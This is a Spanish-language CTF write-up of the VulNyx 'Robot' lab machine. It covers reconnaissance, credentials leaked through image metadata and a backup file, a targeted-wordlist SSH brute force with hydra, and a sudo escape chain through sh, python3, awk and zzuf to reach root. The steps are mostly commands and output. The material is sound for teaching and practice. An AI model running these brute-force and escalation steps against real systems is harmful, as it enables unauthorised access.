cd ~/blog

~/writeups/vulnyx/19-robot.md

19 - Robot

low Linux vulnyxautor: Jordy Pérez Osorio aviso legal
Credentials hidden in image (stego)MongoDB credential reuseTargeted wordlist (cupp) + SSH brute forcesudo chain Privesc (sh/python3/awk/zzuf)
vulnyx.com

~1 min de lectura


La máquina ilustra una investigación guiada por contexto. Los metadatos conducen a un respaldo, el respaldo a MongoDB y la base de datos aporta datos personales con los que construir un diccionario dirigido; esto reduce mucho el ruido frente a una fuerza bruta genérica. Después del acceso por SSH, cada regla sudo permite alcanzar un usuario distinto, por lo que la escalada se entiende mejor como una cadena de relaciones de confianza que como un único exploit.

Enumeramos puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.69
❯ nmap -sCV -p 22,80,27017 -oN 02-targeted.txt 192.168.1.98
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 18:06 -04
Nmap scan report for 192.168.1.98
Host is up (0.00032s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp    open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Hello Friend
27017/tcp open  mongodb MongoDB 5.0.21
| mongodb-databases:
|   errmsg = command listDatabases requires authentication
|   codeName = Unauthorized
|   code = 13
|_  ok = 0.0
| fingerprint-strings:
|   FourOhFourRequest, GetRequest:
|     HTTP/1.0 200 OK
|     Connection: close
|     Content-Type: text/plain
|     Content-Length: 85
|     looks like you are trying to access MongoDB over HTTP on the native driver port.
|   mongodb:
|     errmsg
|     command serverStatus requires authentication
|     code
|     codeName
|_    Unauthorized
| mongodb-info:
|   MongoDB Build info
|     bits = 64
|     javascriptEngine = mozjs
|     sysInfo = deprecated
|     version = 5.0.21
|     storageEngines
|       0 = devnull
|       2 = wiredTiger
|       1 = ephemeralForTest
|     openssl
|       compiled = OpenSSL 1.1.1n  15 Mar 2022
|       running = OpenSSL 1.1.1n  15 Mar 2022
|     debug = false
|     modules
|     maxBsonObjectSize = 16777216
|     ok = 1.0
|     allocator = tcmalloc
|     buildEnvironment
|       ccflags = -Werror -include mongo/platform/basic.h -ffp-contract=off -fasynchronous-unwind-tables -ggdb -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -fno-omit-frame-pointer -fno-strict-aliasing -O2 -march=sandybridge -mtune=generic -mprefer-vector-width=128 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-const-variable -Wno-unused-but-set-variable -Wno-missing-braces -fstack-protector-strong -Wa,--nocompress-debug-sections -fno-builtin-memcmp
|       distarch = x86_64
|       target_arch = x86_64
|       cxx = /opt/mongodbtoolchain/v3/bin/g++: g++ (GCC) 8.5.0
|       target_os = linux
|       cppdefines = SAFEINT_USE_INTRINSICS 0 PCRE_STATIC NDEBUG _XOPEN_SOURCE 700 _GNU_SOURCE _FORTIFY_SOURCE 2 BOOST_THREAD_VERSION 5 BOOST_THREAD_USES_DATETIME BOOST_SYSTEM_NO_DEPRECATED BOOST_MATH_NO_LONG_DOUBLE_MATH_FUNCTIONS BOOST_ENABLE_ASSERT_DEBUG_HANDLER BOOST_LOG_NO_SHORTHAND_NAMES BOOST_LOG_USE_NATIVE_SYSLOG BOOST_LOG_WITHOUT_THREAD_ATTR ABSL_FORCE_ALIGNED_ACCESS
|       distmod = debian10
|       linkflags = -Wl,--fatal-warnings -pthread -Wl,-z,now -fuse-ld=gold -fstack-protector-strong -Wl,--no-threads -Wl,--build-id -Wl,--hash-style=gnu -Wl,-z,noexecstack -Wl,--warn-execstack -Wl,-z,relro -Wl,--compress-debug-sections=none -Wl,-z,origin -Wl,--enable-new-dtags
|     gitVersion = 4fad44a858d8ee2d642566fc8872ef410f6534e4
|     versionArray
|       0 = 5
|       3 = 0
|       2 = 21
|       1 = 0
|   Server status
|     errmsg = command serverStatus requires authentication
|     codeName = Unauthorized
|     code = 13
|_    ok = 0.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.34 seconds

En el sitio web encontramos una imagen de Mr. Robot. La analizamos y sus metadatos filtran una ruta oculta:

❯ exiftool image_01.jpg
...
Comment : B4ckUp_3LLi0t/
...

Enumeramos esa ruta con gobuster y damos con un archivo de respaldo:

❯ gobuster dir -u 'http://192.168.1.98/B4ckUp_3LLi0t/' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,bak,zip -r
...
/index.html           (Status: 200) [Size: 481]
/image.jpg            (Status: 200) [Size: 689302]
/connect.bak          (Status: 200) [Size: 266]
...

Descargamos connect.bak, que contiene las credenciales de conexión a MongoDB:

❯ wget http://192.168.1.98/B4ckUp_3LLi0t/connect.bak
❯ cat connect.bak
<?php

$client = new MongoDB\Client(
    'mongodb://127.0.0.1:27017'
    [
        'username' => 'mongo',
        'password' => 'm0ng0P4zz',
        'ssl' => true,
        'replicaSet' => 'myReplicaSet',
        'authSource' => 'admin',
    'db' => 'elliot',
    ],
);

Nos conectamos a MongoDB y extraemos los datos personales del usuario elliot:

❯ mongo --host 192.168.1.98 --port 27017 -u 'mongo' -p 'm0ng0P4zz' elliot
> show collections
elliot
> db.elliot.find()
{ "_id" : ObjectId("651fdd9171f44c265b976d17"), "FirstName" : "Elliot", "Surname" : "Alderson", "Nickname" : "MrRobot", "Birthdate" : "17091986" }

Con esos datos generamos un diccionario personalizado con cupp:

❯ cupp -i
...
> First Name: Elliot
> Surname: Alderson
> Nickname: MrRobot
> Birthdate (DDMMYYYY): 17091986
...

Y hacemos fuerza bruta contra SSH:

❯ hydra -l elliot -P elliot.txt 192.168.1.98 ssh -t 64
...
[22][ssh] host: 192.168.1.98   login: elliot   password: toillE71986
...

Nos conectamos con elliot:toillE71986 y obtenemos la primera flag:

❯ ssh elliot@192.168.1.98
elliot@192.168.1.98's password: toillE71986
elliot@robot:~$

La escalada de privilegios es una cadena de saltos sudo entre usuarios, cada uno con un binario distinto permitido. Empezamos con elliot, que puede ejecutar sh como darlene:

elliot@robot:~$ sudo -l
Matching Defaults entries for elliot on robot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User elliot may run the following commands on robot:
    (darlene) NOPASSWD: /usr/bin/sh

elliot@robot:/home$ sudo -u darlene /usr/bin/sh
$ whoami
darlene

darlene puede ejecutar python3 como angela:

darlene@robot:~$ sudo -l
Matching Defaults entries for darlene on robot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User darlene may run the following commands on robot:
    (angela) NOPASSWD: /usr/bin/python3

darlene@robot:~$ sudo -u angela python3 -c 'import os; os.system("/bin/bash")'
angela@robot:/home/darlene$

angela puede ejecutar awk como tyrell:

angela@robot:~$ sudo -l
Matching Defaults entries for angela on robot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User angela may run the following commands on robot:
    (tyrell) NOPASSWD: /usr/bin/awk

angela@robot:~$ sudo -u tyrell awk 'BEGIN {system("/bin/bash")}'
tyrell@robot:/home/angela$

Y tyrell puede ejecutar zzuf como root, con el que lanzamos bash y obtenemos la última flag:

tyrell@robot:~$ sudo -l
Matching Defaults entries for tyrell on robot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tyrell may run the following commands on robot:
    (root) NOPASSWD: /usr/bin/zzuf

tyrell@robot:~$ sudo -u root /usr/bin/zzuf /usr/bin/bash
whoami
root

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados